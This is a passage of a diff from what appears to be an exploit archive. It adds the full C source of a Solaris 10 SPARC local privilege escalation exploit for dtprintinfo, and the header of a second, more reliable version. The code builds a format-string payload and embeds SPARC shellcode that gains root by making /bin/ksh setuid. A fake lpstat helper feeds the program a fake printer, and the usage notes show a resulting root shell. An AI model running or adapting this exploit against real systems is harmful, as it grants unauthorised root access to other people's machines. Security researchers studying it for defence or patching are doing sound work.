fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
|
||||
fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
|
||||
fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
|
||||
|
||||
/* run the vulnerable program */
|
||||
execve(VULN, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* add_env(): add a variable to envp and pad if needed
|
||||
*/
|
||||
int add_env(char *string)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* null termination */
|
||||
if (!string) {
|
||||
env[env_pos] = NULL;
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/* add the variable to envp */
|
||||
env[env_pos] = string;
|
||||
env_len += strlen(string) + 1;
|
||||
env_pos++;
|
||||
|
||||
/* pad the envp using zeroes */
|
||||
if ((strlen(string) + 1) % 4)
|
||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
||||
env[env_pos] = string + strlen(string);
|
||||
env_len++;
|
||||
}
|
||||
|
||||
return env_len;
|
||||
}
|
549
exploits/solaris/local/49516.c
Normal file
549
exploits/solaris/local/49516.c
Normal file
|
@ -0,0 +1,549 @@
|
|||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation
|
||||
# Date: 2021-02-01
|
||||
# Exploit Author: Marco Ivaldi
|
||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
||||
# Version: Solaris 10
|
||||
# Tested on: Solaris 10 1/13 SPARC
|
||||
|
||||
/*
|
||||
* raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC
|
||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* "Mimimimimimimi
|
||||
* Mimimi only mimi
|
||||
* Mimimimimimimi
|
||||
* Mimimi sexy mi"
|
||||
* -- Serebro
|
||||
*
|
||||
* As usual, exploitation on SPARC turned out to be much more complicated (and
|
||||
* fun) than on Intel. Since the vulnerable program needs to survive one
|
||||
* additional function before we can hijack %pc, the classic stack-based buffer
|
||||
* overflow approach didn't seem feasible in this case. Therefore, I opted for
|
||||
* the format string bug. This is just a proof of concept, 'cause guess what --
|
||||
* on my system it works only when gdb or truss are attached to the target
|
||||
* process:( To borrow Neel Mehta's words:
|
||||
*
|
||||
* "It's quite common to find an exploit that only works with GDB attached to
|
||||
* the process, simply because without the debugger, break register windows
|
||||
* aren't flushed to the stack and the overwrite has no effect."
|
||||
* -- The Shellcoder's Handbook
|
||||
*
|
||||
* On different hardware configurations this exploit might work if the correct
|
||||
* retloc and offset are provided. It might also be possible to force a context
|
||||
* switch at the right time that results in registers being flushed to the
|
||||
* stack at the right moment. However, this method tends to be unreliable even
|
||||
* when the attack is repeatable like in this case. A better way to solve the
|
||||
* puzzle would be to overwrite something different, e.g.:
|
||||
*
|
||||
* - Activation records of other functions, such as check_dir() (same issues)
|
||||
* - Callback to function SortJobs() (nope, address is hardcoded in .text)
|
||||
* - PLT in the binary (I need a different technique to handle null bytes)
|
||||
* - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
|
||||
* - Other OS function pointers I'm not aware of still present in Solaris 10
|
||||
*
|
||||
* Finally, it might be possible to combine the stack-based buffer overflow and
|
||||
* the format string bug to surgically fix addresses and survive until needed
|
||||
* for program flow hijacking to be possible. Bottom line: there's still some
|
||||
* work to do to obtain a reliable exploit, but I think it's feasible. You're
|
||||
* welcome to try yourself if you feel up to the task and have a spare SPARC
|
||||
* box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
|
||||
*
|
||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
||||
* confirm this because I have no access to their patches:/
|
||||
*
|
||||
* See also:
|
||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
||||
* raptor_dtprintcheckdir_intel2.c
|
||||
* raptor_dtprintcheckdir_sparc2.c (the real deal)
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
|
||||
* [on your xserver: disable the access control]
|
||||
* $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
|
||||
* [on your xserver: double click on the fake "fnord" printer]
|
||||
* ...
|
||||
* -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
|
||||
* -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
|
||||
* <- libc:getenv() = 0xffbff364
|
||||
* -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
|
||||
* <- libc:getenv() = 0xffbff364
|
||||
* -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
|
||||
* ...
|
||||
* setuid(0) = 0
|
||||
* chmod("/bin/ksh", 037777777777) = 0
|
||||
* _exit(0)
|
||||
* $ ksh
|
||||
* # id
|
||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
||||
* #
|
||||
*
|
||||
* Tested on:
|
||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
|
||||
* [previous Solaris versions are also likely vulnerable (and easier to exploit)]
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <link.h>
|
||||
#include <procfs.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <strings.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/systeminfo.h>
|
||||
|
||||
#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
|
||||
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
|
||||
|
||||
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
|
||||
#define BUFSIZE 3000 // size of evil env var
|
||||
#define BUFSIZE2 10000 // size of padding buf
|
||||
#define STACKPOPSEQ "%.8x" // stackpop sequence
|
||||
#define STACKPOPS 383 // number of stackpops
|
||||
|
||||
/* default retloc and offset for sprintf() */
|
||||
#define RETLOC 0xffbfbb3c // saved ret location
|
||||
#define OFFSET 84 // offset from retloc to i0loc
|
||||
|
||||
/* default retloc and offset for check_dir() */
|
||||
/* TODO: patch %i6 that gets corrupted by overflow */
|
||||
//#define RETLOC 0xffbfbbac // default saved ret location
|
||||
//#define OFFSET 1884 // default offset from retloc to i0loc
|
||||
|
||||
/* split an address in 4 bytes */
|
||||
#define SPLITB(B1, B2, B3, B4, ADDR) { \
|
||||
B4 = (ADDR & 0x000000ff); \
|
||||
B3 = (ADDR & 0x0000ff00) >> 8; \
|
||||
B2 = (ADDR & 0x00ff0000) >> 16; \
|
||||
B1 = (ADDR & 0xff000000) >> 24; \
|
||||
}
|
||||
|
||||
/* calculate numeric arguments for write string */
|
||||
#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
|
||||
N1 = (B4 - BASE) % 0x100; \
|
||||
N2 = (B2 - BASE - N1) % 0x100; \
|
||||
N3 = (B1 - BASE - N1 - N2) % 0x100; \
|
||||
N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
|
||||
BASE += N1 + N2 + N3 + N4; \
|
||||
}
|
||||
|
||||
//#define USE_EXEC_SC // uncomment to use exec shellcode
|
||||
|
||||
#ifdef USE_EXEC_SC
|
||||
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
|
||||
/* setuid(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* execve("/bin/ksh", argv, NULL) */
|
||||
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
|
||||
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
|
||||
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
|
||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
||||
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
|
||||
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
|
||||
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
|
||||
"\x41\x41\x41\x41" /* placeholder */
|
||||
"/bin/ksh";
|
||||
#else
|
||||
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
|
||||
/* setuid(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* chmod("/bin/ksh", 037777777777) */
|
||||
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
|
||||
"\x20\xbf\xff\xff" /* bn,a <sc> */
|
||||
"\x7f\xff\xff\xff" /* call <sc + 4> */
|
||||
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
|
||||
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
|
||||
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
/* exit(0) */
|
||||
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
|
||||
"\x82\x10\x20\x01" /* mov 1, %g1 */
|
||||
"\x91\xd0\x20\x08" /* ta 8 */
|
||||
"/bin/ksh";
|
||||
#endif /* USE_EXEC_SC */
|
||||
|
||||
/* globals */
|
||||
char *arg[2] = {"foo", NULL};
|
||||
char *env[256];
|
||||
int env_pos = 0, env_len = 0;
|
||||
|
||||
/* prototypes */
|
||||
int add_env(char *string);
|
||||
void check_zero(int addr, char *pattern);
|
||||
int get_env_addr(char *path, char **argv);
|
||||
int search_ldso(char *sym);
|
||||
int search_rwx_mem(void);
|
||||
void set_val(char *buf, int pos, int val);
|
||||
|
||||
/*
|
||||
* main()
|
||||
*/
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
|
||||
char platform[256], release[256], display[256];
|
||||
int env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
|
||||
int offset = OFFSET;
|
||||
|
||||
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
|
||||
int ret = search_ldso("sprintf");
|
||||
int rwx_mem = search_rwx_mem() + 24; /* stable address */
|
||||
|
||||
int i, stackpops = STACKPOPS;
|
||||
unsigned char b1, b2, b3, b4;
|
||||
unsigned base, n[16]; /* must be unsigned */
|
||||
|
||||
/* lpstat code to add a fake printer */
|
||||
if (!strcmp(argv[0], "lpstat")) {
|
||||
|
||||
/* check command line */
|
||||
if (argc != 2)
|
||||
exit(1);
|
||||
|
||||
/* print the expected output and exit */
|
||||
if(!strcmp(argv[1], "-v")) {
|
||||
fprintf(stderr, "lpstat called with -v\n");
|
||||
printf("device for fnord: /dev/null\n");
|
||||
} else {
|
||||
fprintf(stderr, "lpstat called with -d\n");
|
||||
printf("system default destination: fnord\n");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* helper program that prints argv[0] address, used by get_env_addr() */
|
||||
if (!strcmp(argv[0], "foo")) {
|
||||
printf("0x%p\n", argv[0]);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* print exploit information */
|
||||
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
|
||||
|
||||
/* process command line */
|
||||
if ((argc < 2) || (argc > 4)) {
|
||||
#ifdef USE_EXEC_SC
|
||||
fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
|
||||
#else
|
||||
fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
|
||||
#endif /* USE_EXEC_SC */
|
||||
exit(1);
|
||||
}
|
||||
sprintf(display, "DISPLAY=%s", argv[1]);
|
||||
if (argc > 2)
|
||||
retloc = (int)strtoul(argv[2], (char **)NULL, 0);
|
||||
if (argc > 3)
|
||||
offset = (int)strtoul(argv[3], (char **)NULL, 0);
|
||||
|
||||
/* calculate saved %i0 and %i7 locations based on retloc */
|
||||
i0loc = retloc + offset;
|
||||
i1loc = i0loc + 4;
|
||||
i7loc = i0loc + 28;
|
||||
|
||||
/* evil env var: name + shellcode + padding */
|
||||
memset(buf, 'A', sizeof(buf));
|
||||
buf[sizeof(buf) - 1] = 0x0;
|
||||
memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
|
||||
p += strlen("REQ_DIR=");
|
||||
|
||||
/* padding buffer to avoid stack overflow */
|
||||
memset(buf2, 'B', sizeof(buf2));
|
||||
buf2[sizeof(buf2) - 1] = 0x0;
|
||||
|
||||
/* fill the envp, keeping padding */
|
||||
add_env(buf2);
|
||||
add_env(buf);
|
||||
add_env(display);
|
||||
add_env("TMP_DIR=/tmp");
|
||||
add_env("PATH=.:/usr/bin");
|
||||
sc_addr = add_env("HOME=/tmp");
|
||||
add_env(sc);
|
||||
add_env(NULL);
|
||||
|
||||
/* calculate the needed addresses */
|
||||
env_addr = get_env_addr(VULN, argv);
|
||||
sc_addr += env_addr;
|
||||
|
||||
#ifdef USE_EXEC_SC
|
||||
/* populate exec shellcode placeholder */
|
||||
set_val(sc, 48, sb - 1024);
|
||||
#endif /* USE_EXEC_SC */
|
||||
|
||||
/* format string: saved ret */
|
||||
*((void **)p) = (void *)(retloc); p += 4; /* 0x000000ff */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(retloc); p += 4; /* 0x00ff0000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(retloc); p += 4; /* 0xff000000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(retloc + 2); p += 4; /* 0x0000ff00 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
|
||||
/* format string: saved %i0: 1st arg to sprintf() */
|
||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0x000000ff */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0x00ff0000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i0loc); p += 4; /* 0xff000000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i0loc + 2); p += 4; /* 0x0000ff00 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
|
||||
/* format string: saved %i7: return address */
|
||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0x000000ff */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0x00ff0000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i7loc); p += 4; /* 0xff000000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i7loc + 2); p += 4; /* 0x0000ff00 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
|
||||
/* format string: saved %i1: 2nd arg to sprintf() */
|
||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0x000000ff */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0x00ff0000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i1loc); p += 4; /* 0xff000000 */
|
||||
memset(p, 'A', 4); p += 4; /* dummy */
|
||||
*((void **)p) = (void *)(i1loc + 2); p += 4; /* 0x0000ff00 */
|
||||
|
||||
/* format string: stackpop sequence */
|
||||
base = p - buf - strlen("REQ_DIR=");
|
||||
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
|
||||
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
|
||||
|
||||
/* calculate numeric arguments for retloc */
|
||||
SPLITB(b1, b2, b3, b4, (ret - 4));
|
||||
CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
|
||||
|
||||
/* calculate numeric arguments for i0loc */
|
||||
SPLITB(b1, b2, b3, b4, rwx_mem);
|
||||
CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
|
||||
|
||||
/* calculate numeric arguments for i7loc */
|
||||
SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
|
||||
CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
|
||||
|
||||
/* calculate numeric arguments for i1loc */
|
||||
SPLITB(b1, b2, b3, b4, sc_addr);
|
||||
CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
|
||||
|
||||
/* check for potentially dangerous numeric arguments below 10 */
|
||||
for (i = 0; i < 16; i++)
|
||||
n[i] += (n[i] < 10) ? (0x100) : (0);
|
||||
|
||||
/* format string: write string */
|
||||
sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
|
||||
buf[strlen(buf)] = 'A'; /* preserve buf length */
|
||||
|
||||
/* we need at least one directory inside TMP_DIR to trigger the bug */
|
||||
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
|
||||
|
||||
/* create a symlink for the fake lpstat */
|
||||
unlink("lpstat");
|
||||
symlink(argv[0], "lpstat");
|
||||
|
||||
/* print some output */
|
||||
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
|
||||
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
|
||||
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
|
||||
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
|
||||
fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
|
||||
fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
|
||||
fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
|
||||
fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
|
||||
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
|
||||
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
|
||||
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
|
||||
|
||||
/* check for null bytes (add some padding to env if needed) */
|
||||
check_zero(retloc, "ret location");
|
||||
check_zero(i0loc, "%%i0 location");
|
||||
check_zero(i1loc, "%%i1 location");
|
||||
check_zero(i7loc, "%%i7 location");
|
||||
check_zero(rwx_mem, "rwx_mem address");
|
||||
check_zero(sc_addr, "sc address");
|
||||
|
||||
/* run the vulnerable program */
|
||||
execve(VULN, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* add_env(): add a variable to envp and pad if needed
|
||||
*/
|
||||
int add_env(char *string)
|
||||
{
|
||||
int i;
|
||||
|
||||
/* null termination */
|
||||
if (!string) {
|
||||
env[env_pos] = NULL;
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/* add the variable to envp */
|
||||
env[env_pos] = string;
|
||||
env_len += strlen(string) + 1;
|
||||
env_pos++;
|
||||
|
||||
/* pad the envp using zeroes */
|
||||
if ((strlen(string) + 1) % 4)
|
||||
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
|
||||
env[env_pos] = string + strlen(string);
|
||||
env_len++;
|
||||
}
|
||||
|
||||
return env_len;
|
||||
}
|
||||
|
||||
/*
|
||||
* check_zero(): check an address for the presence of a 0x00
|
||||
*/
|
||||
void check_zero(int addr, char *pattern)
|
||||
{
|
||||
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
|
||||
!(addr & 0xff000000)) {
|
||||
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* get_env_addr(): get environment address using a helper program
|
||||
*/
|
||||
int get_env_addr(char *path, char **argv)
|
||||
{
|
||||
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
|
||||
char hex[11] = "\x00";
|
||||
int fd[2], addr;
|
||||
|
||||
/* truncate program name at correct length and create a hard link */
|
||||
prog[strlen(path)] = 0x0;
|
||||
unlink(prog);
|
||||
link(argv[0], prog);
|
||||
|
||||
/* open pipe to read program output */
|
||||
if (pipe(fd) < 0) {
|
||||
perror("pipe");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch(fork()) {
|
||||
|
||||
case -1: /* cannot fork */
|
||||
perror("fork");
|
||||
exit(1);
|
||||
|
||||
case 0: /* child */
|
||||
dup2(fd[1], 1);
|
||||
close(fd[0]);
|
||||
close(fd[1]);
|
||||
execve(prog, arg, env);
|
||||
perror("execve");
|
||||
exit(1);
|
||||
|
||||
default: /* parent */
|
||||
close(fd[1]);
|
||||
read(fd[0], hex, sizeof(hex));
|
||||
break;
|
||||
}
|
||||
|
||||
/* check and return address */
|
||||
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
|
||||
fprintf(stderr, "error: cannot read ff address from helper program\n");
|
||||
exit(1);
|
||||
}
|
||||
return addr + 4;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_ldso(): search for a symbol inside ld.so.1
|
||||
*/
|
||||
int search_ldso(char *sym)
|
||||
{
|
||||
int addr;
|
||||
void *handle;
|
||||
Link_map *lm;
|
||||
|
||||
/* open the executable object file */
|
||||
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
|
||||
perror("dlopen");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get dynamic load information */
|
||||
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
|
||||
perror("dlinfo");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the address of the symbol */
|
||||
if ((addr = (int)dlsym(handle, sym)) == NULL) {
|
||||
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* close the executable object file */
|
||||
dlclose(handle);
|
||||
|
||||
check_zero(addr - 4, sym);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
* search_rwx_mem(): search for an RWX memory segment valid for all
|
||||
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
|
||||
*/
|
||||
int search_rwx_mem(void)
|
||||
{
|
||||
int fd;
|
||||
char tmp[16];
|
||||
prmap_t map;
|
||||
int addr = 0, addr_old;
|
||||
|
||||
/* open the proc filesystem */
|
||||
sprintf(tmp,"/proc/%d/map", (int)getpid());
|
||||
if ((fd = open(tmp, O_RDONLY)) < 0) {
|
||||
fprintf(stderr, "error: can't open %s\n", tmp);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* search for the last RWX memory segment before stack (last - 1) */
|
||||
while (read(fd, &map, sizeof(map)))
|
||||
if (map.pr_vaddr)
|
||||
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
|
||||
addr_old = addr;
|
||||
addr = map.pr_vaddr;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
/* add 4 to the exact address null bytes */
|
||||
if (!(addr_old & 0xff))
|
||||
addr_old |= 0x04;
|
||||
if (!(addr_old & 0xff00))
|
||||
addr_old |= 0x0400;
|
||||
|
||||
return addr_old;
|
||||
}
|
||||
|
||||
/*
|
||||
* set_val(): copy a dword inside a buffer
|
||||
*/
|
||||
void set_val(char *buf, int pos, int val)
|
||||
{
|
||||
buf[pos] = (val & 0xff000000) >> 24;
|
||||
buf[pos + 1] = (val & 0x00ff0000) >> 16;
|
||||
buf[pos + 2] = (val & 0x0000ff00) >> 8;
|
||||
buf[pos + 3] = (val & 0x000000ff);
|
||||
}
|
309
exploits/solaris/local/49517.c
Normal file
309
exploits/solaris/local/49517.c
Normal file
|
@ -0,0 +1,309 @@
|
|||
# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
|
||||
# Date: 2021-02-01
|
||||
# Exploit Author: Marco Ivaldi
|
||||
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
|
||||
# Version: Solaris 10
|
||||
# Tested on: Solaris 10 1/13 SPARC
|
||||
|
||||
/*
|
||||
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
|
||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* "You still haven't given up on me?" -- Bruce Wayne
|
||||
* "Never!" -- Alfred Pennyworth
|
||||
*
|
||||
* I would like to thank ~A. for his incredible research work spanning decades,
|
||||
* an endless source of inspiration for me.
|
||||
*
|
||||
* Whoah, this one wasn't easy! This is a pretty lean exploit now, but its
|
||||
* development took me some time. It's been almost two weeks, and I came
|
||||
* close to giving up a couple of times. Here's a summary of the main
|
||||
* roadblocks and complications I ran into while porting my dtprintinfo
|
||||
* format string exploit to SPARC:
|
||||
*
|
||||
* - Half word writes and similar techniques that need to print a large amount
|
||||
* of chars are problematic, because we have both a format string bug and a
|
||||
* stack-based buffer overflow, and we risk running out of stack space! We
|
||||
* might be able to prevent this by increasing the size of the padding buffer,
|
||||
* (buf2) but your mileage may vary.
|
||||
*
|
||||
* - I therefore opted for a more portable single-byte write, but SPARC is a
|
||||
* RISC architecture and as such it's not happy with memory operations on
|
||||
* misaligned addresses... So I had to figure out a possibly novel technique
|
||||
* to prevent the dreaded Bus Error. It involves the %hhn format string, check
|
||||
* it out!
|
||||
*
|
||||
* - Once I had my write-what primitive figured out, I needed to pick a suitable
|
||||
* memory location to patch... and I almost ran out of options. Function
|
||||
* activation records turned out to be cumbersome and unreliable (see my PoC
|
||||
* raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary
|
||||
* start with a null byte, and the usual OS function pointers that were
|
||||
* popular targets 15 years ago are not present in modern Solaris 10 releases
|
||||
* anymore. Finally, I noticed that the libc also contains .plt jump codes
|
||||
* that get executed upon function calling. Since they don't start with a null
|
||||
* byte, I decided to target them.
|
||||
*
|
||||
* - Instead of meddling with jump codes, to keep things simpler I decided to
|
||||
* craft the shellcode directly in the .plt section of libc by exploiting the
|
||||
* format string bug. This technique proved to be very effective, but
|
||||
* empirical tests showed that (for unknown reasons) the shellcode size was
|
||||
* limited to 36 bytes. It looks like there's a limit on the number of args,
|
||||
* to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes
|
||||
* are just enough to escalate privileges.
|
||||
*
|
||||
* After I plugged a small custom shellcode into my exploit, it worked like a
|
||||
* charm. Simple, isn't it?;)
|
||||
*
|
||||
* To get the libc base, use pmap on the dtprintinfo process, e.g.:
|
||||
* $ pmap 4190 | grep libc.so.1 | grep r-x
|
||||
* FE800000 1224K r-x-- /lib/libc.so.1
|
||||
*
|
||||
* To grab the offset to strlen in .plt, you can use objdump as follows:
|
||||
* $ objdump -R /usr/lib/libc.so.1 | grep strlen
|
||||
* 0014369c R_SPARC_JMP_SLOT strlen
|
||||
*
|
||||
* This bug was likely fixed during the general cleanup of CDE code done by
|
||||
* Oracle in response to my recently reported vulnerabilities. However, I can't
|
||||
* confirm this because I have no access to their patches:/
|
||||
*
|
||||
* See also:
|
||||
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
|
||||
* raptor_dtprintcheckdir_intel2.c
|
||||
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
|
||||
*
|
||||
* Usage:
|
||||
* $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall
|
||||
* [on your xserver: disable the access control]
|
||||
* $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
|
||||
* raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
|
||||
* Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10)
|
||||
* Using libc/.plt/strlen : 0xfe94369c
|
||||
*
|
||||
* Don't worry if you get a SIGILL, just run /bin/ksh anyway!
|
||||
*
|
||||
* lpstat called with -v
|
||||
* lpstat called with -v
|
||||
* lpstat called with -d
|
||||
* [on your xserver: double click on the fake "fnord" printer]
|
||||
* Illegal Instruction
|
||||
* $ ls -l /bin/ksh
|
||||
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
|
||||
* $ ksh
|
||||
* # id
|
||||
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
|
||||
* #
|
||||
*
|
||||
* Tested on:
|
||||
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
|
||||
